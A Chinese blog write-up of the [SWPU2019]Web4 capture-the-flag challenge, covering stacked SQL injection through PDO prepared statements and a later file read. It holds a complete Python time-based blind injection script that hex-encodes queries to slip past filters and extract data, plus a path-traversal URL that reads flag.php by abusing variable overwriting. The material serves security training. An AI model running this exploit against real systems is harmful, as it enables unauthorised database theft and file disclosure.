PDO预处理&& [SWPU2019]Web4

26 篇文章 0 订阅

PDO场景下的SQL注入探究

例题 [SWPU2019]Web4

参考
由于题目对username进行了严格的检测,所以无法使用单语句进行注入,但是注入点又存在,于是可以尝试进行堆叠注入。(很多师傅可能就因为不友好的回显卡在这里)
思路
我们但加'报错,然后后面加#正常了,然后我们再尝试了';回显也是正常的,若无法多语句执行,返回页面按理说应该是500,这个正常说明开启了堆叠注入,所以可以联想到想到预处理
在这里插入图片描述
在这里插入图片描述

在这里插入图片描述

import requests,time
import json

def str_to_hex(strings):
    by = bytes(strings,'UTF-8')    #先将输入的字符串转化成字节码
    hexstring = by.hex() 
    return hexstring


url="http://3e0a94e7-6df9-4706-8ef6-c682325ec62a.node4.buuoj.cn:81/index.php?r=Login/Login"

flag=""

#zpayload="1';set @a=0x73656c65637420736c656570283229;prepare b from @a;execute b;"
#zpayload="1';set @a=0x{};prepare b from @a;execute b;"

for i in range(1,100):
    low=32
    high=128
    mid=(low+high)//2

    while low<high:

        payload="select if(ascii(substr((select flag from flag),{},1))>{},sleep(2),0)".format(i,mid)    
        zpayload="1';set @a=0x{};prepare b from @a;execute b;".format(str_to_hex(payload))

        data={
            'username':zpayload,
            'password':'111'
        }
        datas = json.dumps(data)
        time1=time.time()
        r=requests.post(url,data=datas)
        time2=time.time()

        times=time2-time1
        if times>2:
            low=mid+1
        else:
            high=mid
        mid=(low+high)//2

        print(low,mid,high,times)
        
    
    flag+=chr(mid)
    print(flag)
    if mid==32:
        break

json.dumps()
在这里插入图片描述
在这里插入图片描述

得到glzjin_wants_a_girl_friend.zip

看index.php
在这里插入图片描述

\Common\fun.php 中关于r参数,路由控制到控制器的关系
在这里插入图片描述

\Controller\BaseController.php
有变量覆盖函数
在这里插入图片描述
\Controller\UserController.php
续成了BaseController且调用了loadView方法,该方法中调用userIndex
在这里插入图片描述
而\View\userIndex.php中又存在读文件的操作
在这里插入图片描述
在这里插入图片描述

?r=User/Index&img_file=/../flag.php

思考
为什么覆盖img_dir变量不行
在这里插入图片描述
这个地方是先覆盖再包含,然后我就想如果当前php和包含的php都有相同的变量,那么变量的值该为啥。。。。
我的理解include就是再当前行把包含的文件加进来有先后关系,也就是说,extract把img_dir覆盖了,到include包含的代码中,有定义img_dir的句子,这个时候img_dir会再次覆盖

在这里插入图片描述
在这里插入图片描述

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值